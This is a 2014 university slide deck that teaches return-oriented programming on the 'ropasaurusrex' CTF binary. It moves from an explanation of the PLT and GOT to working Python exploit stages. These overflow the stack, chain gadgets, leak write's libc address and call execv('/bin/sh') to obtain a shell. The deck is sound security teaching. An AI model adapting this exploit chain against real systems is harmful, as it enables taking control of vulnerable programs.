ROP

I’m in a hurry and too lazy to find a catchy subtitle

Alessandro Di Federico

ale@clearmind.me

Politecnico di Milano

June 3, 2014

Index

Introduction

Dynamic loading

ropasaurusrex
- Playing around
- Let’s get serious

ropasaurusrex

https://ctftime.org/task/364

- 9b6c5b013881561e17621785494640d2 libc.so.6
- c5bb68949dcc3264cd3a560c05d0b566 ropasaurusrex

Basics

1. The main executable is not relocated
   - You know the runtime address of everything in there

Basics

1. The main executable is not relocated
   - You know the runtime address of everything in there
2. Shared libraries (.so) are relocated
   - You don't know where they are
   - However the relative distance is preserved

Basics

1. The main executable is not relocated
   - You know the runtime address of everything in there
2. Shared libraries (.so) are relocated
   - You don't know where they are
   - However the relative distance is preserved
3. An ELF is divided in various sections
   - Some contain code and can't be written
   - Some contain data and can be written
   - Data sections will not be executed (stack)

The goal

- We want to get a shell
- We need to call an `execv(‘‘/bin/sh’’, ...)`

Why ROP

The principle is:

Running code that's already there

- We can do this playing with return addresses
- You don't need to load any shellcode
- You just need to control the stack

Index

Shell objects

- Shell objects are ELFs loaded dynamically
- They are libraries of various kind
- The C Standard Library is usually a .so file[1]
- Use `ldd` to list dynamic libs needed by a program

[1] Under Linux usually `/lib/libc.so.6`

Where are they loaded?

- They can be ~everywhere in the address-space
- Fixed positions could cause collisions

How can I call a function in a library?

- The compiler reserves some space for its address
- The dynamic loader gets in at runtime[2]
- It puts the correct addresses there

[2] Under Linux x86_64 at `/lib64/ld-linux-x86-64.so.2`

ls actors

- `r-x` Your code
- `r-x` PLT (Program Linkage Table)
- `rw-` The GOT (Global Offset Table)
- `r-x` The dynamic linker

The process

- Your code wants to call `printf`
- It makes a call to a stub function in the PLT
- The stub jumps at an address in the GOT
    - If it's the first call it points to the dynamic linker
    - From then on it's the actual address of the `printf`

Example

```
// gcc -m32 -O0 -o hello hello.c

#include <stdlib.h>
#include <stdio.h>

int main(int argc, char *argv[]) {
  printf("Hello world!\n I've %d args!", argc);
  return EXIT_SUCCESS;
}
```

main

```
$ objdump -d hello -M intel-mnemonic \
          --no-show-raw-insn

08048448 <main>:
 8048448:       push   ebp
 8048449:       mov    ebp,esp
 804844b:       and    esp,0xfffffff0
 804844e:       sub    esp,0x10
 8048451:       mov    eax,DWORD PTR [ebp+0x8]
 8048454:       mov    DWORD PTR [esp+0x4],eax
 8048458:       mov    DWORD PTR [esp],0x8048500
 804845f:       call   8048310 <printf@plt>
 8048464:       mov    eax,0x0
 8048469:       leave
 804846a:       ret
```

printf@plt

```
$ objdump -d hello -M intel-mnemonic \
          --no-show-raw-insn

08048310 <printf@plt>:
 8048310:       jmp    DWORD PTR ds:0x804a00c
 8048316:       push   0x0
 804831b:       jmp    8048300 <_init+0x28>
```

0x804a00c

```
$ gdb hello
(gdb) x /1x 0x804a00c
0x804a00c <printf@got.plt>:       0x08048316
```

Long story short

`0x804a00c` will contain the address of `printf`

Index

- Introduction
- Dynamic loading
- ropasaurusrex
  - Playing around
  - Let’s get serious

Index

A look at the executable: main

```
ssize_t __cdecl main()
{
  pwn_me();
  return write(1, "WIN\n", 4u);
}
```

pwn_me

```
ssize_t __cdecl pwn_me()
{
  char buf; // [sp+10h] [bp-88h]@1

  return read(0, &buf, 0x100u);
}
```

Buffer overflow!

- There's a buffer on the stack of 0x88 bytes
- The read writes there 0x100 bytes from stdin
- We have control of a good piece of the stack

Step 1: take over EIP

- Please, use an helper tool otherwise it's tedious
- Metasploit comes handy[3]
- pattern_{create,offset}.rb scripts

```
$ ruby pattern_create.rb 512
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3...
```

[3] As long as you don't run the msfconsole you're not a script kiddie

Obtain the offset

```
$ ./ropasaurusrex <<< Aa0Aa1Aa2Aa3Aa4Aa5Aa6...
Segmentation fault
$ dmesg | tail -n1
ropasaurusrex[...]: segfault at 37654136 ip
   0000000037654136 sp [...] error 14
$ ruby pattern_offset.rb 37654136 512
140
```

First script

```
#!/usr/bin/python
import sys
from helper import *

exploit = "A" * 140 + "BBBB"
write_string(exploit)
```

```
$ python phase1.py | ./ropasaurusrex
Segmentation fault
$ dmesg | tail -n1
ropasaurusrex[...]: segfault at 42424242 ip
   0000000042424242 sp [...] error 14
```

Where is the ELF?

```
$ readelf -l ropasaurusrex
```

- Take a look at the main section:
  - Offset in the file: `0`
  - Virtual address: `0x08048000`
  - Size: `0x0051c`
  - Permission: `r-x`

Where is write?

- Don't know (yet)!
- We can find the stub for the dynamic linker:

`write@plt`

```
$ objdump -d ropasaurusrex -M intel-mnemonic \
          --no-show-raw-insn

0804830c <write@plt>:
 804830c:       jmp    DWORD PTR ds:0x8049614
 8048312:       push   0x8
 8048317:       jmp    80482ec
```

First ROP

- We can jump in `write@plt`
- Put on the stack:
  - The address of `write@plt`
  - The return address after `write@plt`
  - Parameters for `write`

```
ssize_t write(int fd, const void *buf, size_t count);
```

The script

```
#!/usr/bin/python
from helper import write_bytes
from helper import int2bytes as i2b

exploit = ("A" * 140).encode()
exploit += i2b(0x0804830c) # Write address
exploit += i2b(0xBBBBBBBB) # Return address
exploit += i2b(0x00000001) # stdout
exploit += i2b(0x08048001) # Address of "ELF"
exploit += i2b(0x00000003) # Bytes to write

write_bytes(exploit)
```

Result

```
$ python phase2.py | ./ropasaurusrex
ELFSegmentation fault
$ dmesg | tail -n1
ropasaurusrex[...]: segfault at bbbbbbbb ip
   00000000bbbbbbbb sp [...] error 14
```

Chaining

- What if we want to call another function?
- For instance another write?
- Parameters would overlap!
- We need to clean parameters for the first call

We need a...

Gadgets

- We need several POP instructions
- At least 3
- Followed by a RET, so we get control again
- We can only search in the main executable

There they are

```
$ objdump -d ropasaurusrex -M intel-mnemonic \
          --no-show-raw-insn
...
 80484b5:       pop    ebx
 80484b6:       pop    esi
 80484b7:       pop    edi
 80484b8:       pop    ebp
 80484b9:       ret
...
```

Note: there are four of them, we’ll add another “parameter”

New chain

```
# First call
0804830c # Write address
080484b5 # POP, POP, POP, POP, RET
00000001 # stdout
08048001 # Address of "ELF"
00000003 # Bytes to write
B00BB00B # Useless parameter
# Second call
0804830c # Write address
BBBBBBBB # Final return
00000001 # stdout
08048001 # Address of "ELF"
00000003 # Bytes to write
```

Result

```
$ python phase3.py | ./ropasaurusrex
ELFELFSegmentation fault
$ dmesg | tail -n1
ropasaurusrex[...]: segfault at bbbbbbbb ip
    00000000bbbbbbbb sp [...] error 14
```

Index

Introduction

Dynamic loading

ropasaurusrex

- Playing around
- Let’s get serious

The attack

- We want to do an `execv`
- Its position w.r.t. to `write` is constant!
- Let’s try to get the real position of `write`!

Back to write@plt

```
$ objdump -d ropasaurusrex -M intel-mnemonic \
          --no-show-raw-insn

0804830c <write@plt>:
 804830c:       jmp    DWORD PTR ds:0x8049614
 8048312:       push   0x8
 8048317:       jmp    80482ec
```

At `0x8049614` we'll have the address of `write`!

Let's print it!

Let's get it

```
0804830c # Write address
BBBBBBBB # Final return
00000001 # stdout
08049614 # Address of got(write)
00000004 # Bytes to write

$ python phase4.py | ./ropasaurusrex | hexdump
    -C
00000000  d0 9d 6f f7 |..o.|
00000004
```

It's at `0xf76f9dd0`

And now?

- Our script needs to read this value
- Make the program rejump at its beginning
- Compute the position of execv
- Call it

We also need some other stuffs

```
execv(‘‘/bin/sh’’, pointer_to_null)
```

- “`/bin/sh`” is in the libc
- `pointer_to_null`s are everywhere

Recap

- `write` is in libc at `0x000cfdd0` (write_offset)
- `execv` is in libc at `0x000a7360` (execv_offset)
- "`/bin/sh`" is in libc at `0x00139dcb` (binsh_offset)
- `pointer_to_null` is in our executable at `0x08048008`[4]

[4] Right after the ELF header

Remember!

You have to find the addresses in your own libc!

First stage

Steps:

- Print the address of write
- Make the control go back to the `main` function

```
0804830c # Write address
080484b5 # POP, POP, POP, POP, RET
00000001 # stdout
08049614 # Address of got(write)
00000004 # Bytes to write
0804841d # Main of the program
```

Second stage of the attack

Steps:

- Read the address of write
- Compute the address of `execv` and “`/bin/sh`”
- Launch another payload

```
f76d1360 # execv_real
BBBBBBBB # Final return
f7763dcb # binsh_real
08048008 # pointer to NULL
```

$$\text{execv\_real} = (\text{write\_real} - \text{write\_offset}) + \text{execv\_offset}$$

$$\text{binsh\_real} = (\text{write\_real} - \text{write\_offset}) + \text{binsh\_offset}$$

Final step

- Now we should have a shell
- Send “exec ls” and you’re done

Demo

License